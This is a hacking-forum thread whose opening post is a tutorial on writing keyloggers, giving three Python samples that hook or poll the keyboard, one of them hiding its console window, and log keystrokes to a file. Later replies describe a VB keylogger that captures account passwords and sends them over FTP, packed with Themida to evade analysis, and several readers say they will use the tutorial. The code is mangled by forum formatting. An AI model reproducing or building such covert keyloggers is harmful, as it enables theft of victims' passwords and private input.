google-site-verification: googlebaca44933768a824.html [READ] Writing KeyLoggers - Old Royal Hack Forum

Announcement

Collapse
No announcement yet.

[READ] Writing KeyLoggers

Collapse
This topic is closed.
X
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

    [READ] Writing KeyLoggers

    Writing KeyLoggers


    How to Write a software Keylogger


    According to wiki key loggers perform the following:

    Keystroke logging (often called keylogging) is a method of capturing and recording user keystrokes.
    Although now a days you would also want to capture mouse events. I won’t be getting into mouse hooks in this tutorial. Some one else can do that if they like. The language I will use will be python obviously not the best choice but you can convert it into your desired language: C, Java or whatever.


    My First example: A Module designed for this purpose:

    A lot of languages will have key logging modules already available for use, python has one called PyHook. Here is an example of PyHook


    PHP Code:
    import pythoncompyHook 

    def OnKeyboardEvent
    (event):
        print 
    event.Key
        
    return True
     
    # create a hook manager
    hm pyHook.HookManager()
    # watch for all key events
    hm.KeyDown OnKeyboardEvent
    # set the hook
    hm.HookKeyboard()
    # wait forever
    pythoncom.PumpMessages() 
    We import our modules then create a function and pass it an event parameter what this does is tell python an event should occur (in this case our keyboard input)

    We then call our pyHook functions to listen for our keyboard input.

    Wow a keylogger in about 8 – 20 lines of code


    Next we can move on to win api

    PHP Code:
    import win32api
    import win32console
    import win32gui
    win 
    win32console.GetConsoleWindow()
    win32gui.ShowWindow(win0)
    try:
        
    mylog_file open("/HOME/output.txt","a")
    except IOError:
        print 
    "Error grabbing file"
    else:
        while 
    1:
            for 
    i in range(32256):
                
    keyit win32api.GetAsyncKeyState(i)
                if 
    keyit == -32767:
                    
    keyEnd 81
                    mylog_file
    .write(chr(i))
                    if 
    == keyEnd:
                        
    mylog_file.close()
                        
    keyin open("/HOME/output.txt","r")
                        
    data keyin.read() 
    Ok this is a bit more drastic code with some extras. If you don’t know what winapi is I suggest you read up on it. It will give you a lot of insight into coding
    import necessary modules

    PHP Code:
    import win32api
    import win32console
    import win32gui 
    we then hide the console window

    PHP Code:
    win win32console.GetConsoleWindow()
    win32gui.ShowWindow(win0
    try and open a file for logging. Python tends to automagically create one if it’s not there

    try:
    PHP Code:
    mylog_file open("/HOME/output.txt","a")
    except IOError:
        print 
    "Error grabbing file" 
    get our range of Keys and call the winapi GetAsyncKeyState Function what this does according to microsoft
    The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
    PHP Code:
    for i in range(32256):
                
    keyit win32api.GetAsyncKeyState(i
    If Shift Q is pressed log data to File

    PHP Code:
    keyEnd 81
                    mylog_file
    .write(chr(i))
                    if 
    == keyEnd:
                        
    mylog_file.close()
                        
    keyin open("/HOME/output.txt","r")
                        
    data keyin.read() 
    Alright that wasn’t so bad was it
    Now onto a different method kind a

    PHP Code:
    import msvcrt
    def main
    ():
        while 
    1:
            
    data msvcrt.getch()
            
    mylog_file open("/HOME/output.txt","a")
            
    mylog_file.write(str(data))
        
    mylog_file.close()
    if 
    __name__ == '__main__':
        
    main() 
    This uses the winapi getchar function on linux you could use sys.stdin(1) and do something similar or curses
    Pretty simple code

    This is just code to be a starting point I do not say these ways are the best or only ways its more or less meant as a very basic introduction to coding keyloggers

    Next article (Sending keystrokes over the network)


    Resources

    #2
    /forwards to fum1n


    EDIT: Never mind, he says he already has it.





    (8:22:27 AM) Aspire: and i noticed your good at programming
    (8:22:41 AM) czkb: bs im nubcake
    νзηοма: cu later i have to bomb jerusalem from toilet
    [root@project7 ~]# whoami
    root

    Comment


      #3
      cant understand Xd

      Comment


        #4
        i got no idea how to make keylogger :( if anyone can help me add me on steam ESLPRO1717

        plz!

        Comment


          #5
          Originally posted by .WiRED? View Post
          /forwards to fum1n


          EDIT: Never mind, he says he already has it.
          lmfao i lol'd in rl at that

          Thanks atari :D
          you fucking what!
          Plymouth for life

          Comment


            #6
            Originally posted by hybr1dk0 View Post
            i got no idea how to make keylogger :( if anyone can help me add me on steam ESLPRO1717

            plz!
            hahahahahahahaha
            lolmaoman: Germans are born with a lifetime x22 login engraved into their birth certificates. True story.
            I DONT HAVE TEAMVIEWER AND IM NOT GOING TO GIVE ANY 24/7 ONLINE SUPPORT VIA STEAM, XFIRE OR OTHER IM PROGRAMS SO DONT BOTHER ASKING. THANKS.

            Comment


              #7
              theres a easyer way on VB2008 , i used almost the same thing as this guy posted , Type acc/pass in Program , create .txt , Send via FTP...

              And the best thing , No way finding out FTP,acc,pass..

              Comment


                #8
                Originally posted by PikachuMaster View Post
                theres a easyer way on VB2008 , i used almost the same thing as this guy posted , Type acc/pass in Program , create .txt , Send via FTP...

                And the best thing , No way finding out FTP,acc,pass..
                Are you absolutely 100% sure? Only answer if you are.
                lolmaoman: Germans are born with a lifetime x22 login engraved into their birth certificates. True story.
                I DONT HAVE TEAMVIEWER AND IM NOT GOING TO GIVE ANY 24/7 ONLINE SUPPORT VIA STEAM, XFIRE OR OTHER IM PROGRAMS SO DONT BOTHER ASKING. THANKS.

                Comment


                  #9
                  Originally posted by mencore View Post
                  Are you absolutely 100% sure? Only answer if you are.
                  ofc..... i could create one that does exactly this.

                  Comment


                    #10
                    Originally posted by PikachuMaster View Post
                    theres a easyer way on VB2008 , i used almost the same thing as this guy posted , Type acc/pass in Program , create .txt , Send via FTP...

                    And the best thing , No way finding out FTP,acc,pass..
                    talking shit 24/7

                    Comment


                      #11
                      Originally posted by Lawgiver View Post
                      talking shit 24/7
                      LOL

                      Pack ur program with Themida and no way finding out FTP/ACC/PASS ...

                      Comment


                        #12
                        Originally posted by PikachuMaster View Post
                        LOL

                        Pack ur program with Themida and no way finding out FTP/ACC/PASS ...
                        I can unpack themida, WHAT ABOUT YOU?

                        Comment


                          #13
                          Originally posted by Lawgiver View Post
                          I can unpack themida, WHAT ABOUT YOU?
                          He has his own Pokemon to do that.

                          "Themizard, i choose YOUUUU!!"
                          Last edited by mencore; 07-02-2009, 07:35 PM.
                          lolmaoman: Germans are born with a lifetime x22 login engraved into their birth certificates. True story.
                          I DONT HAVE TEAMVIEWER AND IM NOT GOING TO GIVE ANY 24/7 ONLINE SUPPORT VIA STEAM, XFIRE OR OTHER IM PROGRAMS SO DONT BOTHER ASKING. THANKS.

                          Comment


                            #14
                            "Go Themizard, Unpack!"
                            "The attack isn't very effective"

                            Hm, never trust ur pokemans

                            i search a good source code for Dods with aimbot and other stuff i know this is the same engine as counter strike source but css hacks are not work in dods.

                            Comment


                              #15
                              Thanks for the guide.

                              Comment


                                #16
                                Thank you very much i will use this tutorial now^^

                                Comment


                                  #17
                                  I'm going to test it out

                                  Comment


                                    #18
                                    Very nice tut, but vb can be decompiled. Maybe write a dll in C++ then call it in vb? I'm not quite sure if that would work with these kind of functions though. Anyways good tut

                                    Comment


                                      #19
                                      Re: [READ] Writing KeyLoggers

                                      looks like too much workd XD

                                      Comment


                                        #20
                                        Re: [READ] Writing KeyLoggers

                                        Originally posted by gbomb45 View Post
                                        looks like too much workd XD
                                        you bump a 2 years old thread?
                                        6bf990f73459f8b413af20edfc299d37



                                        Comment


                                          #21
                                          Re: [READ] Writing KeyLoggers

                                          Originally posted by kaldewej View Post
                                          you bump a 2 years old thread?
                                          Epic xD

                                          Comment


                                            #22
                                            Re: [READ] Writing KeyLoggers

                                            Originally posted by lascars View Post
                                            Epic xD
                                            and you comment it with senseless shit!

                                            Comment


                                              #23
                                              Re: [READ] Writing KeyLoggers

                                              Mmmmm .... yes. :)
                                              & stop flamming man ;)

                                              Comment


                                                #24
                                                Re: [READ] Writing KeyLoggers

                                                Closed

                                                Comment

                                                Working...
                                                X